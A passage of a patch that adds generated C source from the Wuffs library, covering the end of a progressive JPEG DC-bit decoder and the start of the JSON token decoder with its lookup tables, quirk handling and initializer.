self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_dc_low_bit ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint16_t v_one_lshift_scan_al = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ v_one_lshift_scan_al = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ if ((v_bits >> 63u) != 0u) { ++ self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] |= v_one_lshift_scan_al; ++ } ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ } while (0); ++ self->private_impl.f_mcu_current_block += 1u; ++ } ++ self->private_impl.f_mcu_current_block = 0u; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_json__error__bad_c0_control_code[] = "#json: bad C0 control code"; ++const char wuffs_json__error__bad_utf_8[] = "#json: bad UTF-8"; ++const char wuffs_json__error__bad_backslash_escape[] = "#json: bad backslash-escape"; ++const char wuffs_json__error__bad_input[] = "#json: bad input"; ++const char wuffs_json__error__bad_new_line_in_a_string[] = "#json: bad new-line in a string"; ++const char wuffs_json__error__bad_quirk_combination[] = "#json: bad quirk combination"; ++const char wuffs_json__error__unsupported_number_length[] = "#json: unsupported number length"; ++const char wuffs_json__error__unsupported_recursion_depth[] = "#json: unsupported recursion depth"; ++const char wuffs_json__error__internal_error_inconsistent_i_o[] = "#json: internal error: inconsistent I/O"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_JSON__DECODER_NUMBER_LENGTH_MAX_INCL 99u ++ ++static const uint8_t ++WUFFS_JSON__LUT_BACKSLASHES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 3u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 162u, 0u, 0u, 0u, 0u, 5u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 175u, ++ 7u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 4u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 220u, 0u, 0u, 0u, ++ 0u, 1u, 136u, 0u, 0u, 2u, 140u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 138u, 0u, ++ 0u, 0u, 141u, 0u, 137u, 0u, 6u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 3u, 4u, 5u, 6u, 7u, 10u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 7u, 27u, 10u, 63u, 39u, 11u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_CHARS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 138u, 139u, 140u, 141u, 142u, 143u, ++ 144u, 145u, 146u, 147u, 148u, 149u, 150u, 151u, ++ 152u, 153u, 154u, 155u, 156u, 157u, 158u, 159u, ++ 0u, 0u, 1u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 2u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 32u, 32u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, ++ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, ++ 5u, 5u, 5u, 5u, 5u, 32u, 32u, 32u, ++ 32u, 32u, 32u, 32u, 32u, 32u, 32u, 32u, ++}; ++ ++#define WUFFS_JSON__CLASS_WHITESPACE 0u ++ ++#define WUFFS_JSON__CLASS_STRING 1u ++ ++#define WUFFS_JSON__CLASS_COMMA 2u ++ ++#define WUFFS_JSON__CLASS_COLON 3u ++ ++#define WUFFS_JSON__CLASS_NUMBER 4u ++ ++#define WUFFS_JSON__CLASS_OPEN_CURLY_BRACE 5u ++ ++#define WUFFS_JSON__CLASS_CLOSE_CURLY_BRACE 6u ++ ++#define WUFFS_JSON__CLASS_OPEN_SQUARE_BRACKET 7u ++ ++#define WUFFS_JSON__CLASS_CLOSE_SQUARE_BRACKET 8u ++ ++#define WUFFS_JSON__CLASS_FALSE 9u ++ ++#define WUFFS_JSON__CLASS_TRUE 10u ++ ++#define WUFFS_JSON__CLASS_NULL_NAN_INF 11u ++ ++#define WUFFS_JSON__CLASS_COMMENT 12u ++ ++#define WUFFS_JSON__EXPECT_VALUE 7858u ++ ++#define WUFFS_JSON__EXPECT_NON_STRING_VALUE 7856u ++ ++#define WUFFS_JSON__EXPECT_STRING 4098u ++ ++#define WUFFS_JSON__EXPECT_COMMA 4100u ++ ++#define WUFFS_JSON__EXPECT_COLON 4104u ++ ++#define WUFFS_JSON__EXPECT_NUMBER 4112u ++ ++#define WUFFS_JSON__EXPECT_CLOSE_CURLY_BRACE 4160u ++ ++#define WUFFS_JSON__EXPECT_CLOSE_SQUARE_BRACKET 4352u ++ ++static const uint8_t ++WUFFS_JSON__LUT_CLASSES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 0u, 0u, 15u, 15u, 0u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 0u, 15u, 1u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 11u, 2u, 4u, 15u, 12u, ++ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, ++ 4u, 4u, 3u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 11u, 15u, 15u, 15u, 15u, 11u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 7u, 15u, 8u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 9u, 15u, ++ 15u, 11u, 15u, 15u, 15u, 15u, 11u, 15u, ++ 15u, 15u, 15u, 15u, 10u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 5u, 15u, 6u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_DECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 138u, 139u, 140u, 141u, 142u, 143u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 138u, 139u, 140u, 141u, 142u, 143u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++}; ++ ++#define WUFFS_JSON__QUIRKS_BASE 1225364480u ++ ++#define WUFFS_JSON__QUIRKS_COUNT 21u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_number( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_digits( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_leading( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_comment( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_inf_nan( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_trailer( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__token_decoder__func_ptrs ++wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__token_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_json__decoder__decode_tokens), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_json__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_json__decoder__set_quirk), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_json__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_json__decoder__initialize( ++ wuffs_json__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = ++ wuffs_base__token_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = ++ (const void*)(&wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_json__decoder* ++wuffs_json__decoder__alloc(void) { ++ wuffs_json__decoder* x = ++ (wuffs_json__decoder*)(calloc(1, sizeof(wuffs_json__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_json__decoder__initialize( ++ x, sizeof(wuffs_json__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_json__decoder(void) { ++ return sizeof(wuffs_json__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func json.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_json__decoder__get_quirk( ++ const wuffs_json__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ uint32_t v_key = 0; ++ ++ if (a_key >= 1225364480u) { ++ v_key = (a_key - 1225364480u); ++ if (v_key < 21u) { ++ if (self->private_impl.f_quirks[v_key]) { ++ return 1u; ++ } ++ } ++ } ++ return 0u; ++} ++ ++// -------- func json.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_json__decoder__set_quirk( ++ wuffs_json__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key >= 1225364480u) { ++ a_key -= 1225364480u; ++ if (a_key < 21u) { ++ self->private_impl.f_quirks[a_key] = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func json.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_json__decoder__workbuf_len( ++ const wuffs_json__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__empty_range_ii_u64(); ++} ++ ++// -------- func json.decoder.decode_tokens ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_json__decoder__decode_tokens( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_vminor = 0; ++ uint32_t v_number_length = 0; ++ uint32_t v_number_status = 0; ++ uint32_t v_string_length = 0; ++ uint32_t v_whitespace_length = 0; ++ uint32_t v_depth = 0; ++ uint32_t v_stack_byte = 0; ++ uint32_t v_stack_bit = 0; ++ uint32_t v_match = 0; ++ uint32_t v_c32 = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_backslash = 0; ++ uint8_t v_char = 0; ++ uint8_t v_class = 0; ++ uint32_t v_multi_byte_utf8 = 0; ++ uint8_t v_backslash_x_ok = 0; ++ uint8_t v_backslash_x_value = 0; ++ uint32_t v_backslash_x_string = 0; ++ uint8_t v_uni4_ok = 0; ++ uint64_t v_uni4_string = 0; ++ uint32_t v_uni4_value = 0; ++ uint32_t v_uni4_high_surrogate = 0; ++ uint8_t v_uni8_ok = 0; ++ uint64_t v_uni8_string = 0; ++ uint32_t v_uni8_value = 0; ++ uint32_t v_expect = 0; ++ uint32_t v_expect_after_value = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_tokens; ++ if (coro_susp_point) { ++ v_depth = self->private_data.s_decode_tokens.v_depth; ++ v_expect = self->private_data.s_decode_tokens.v_expect; ++ v_expect_after_value = self->private_data.s_decode_tokens.v_expect_after_value; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_end_of_data) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_quirks[18u]) { ++ if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u] || self->private_impl.f_quirks[17u]) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_quirk_combination); ++ goto exit; ++ } ++ } ++ if (self->private_impl.f_quirks[15u] || self->private_impl.f_quirks[16u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ 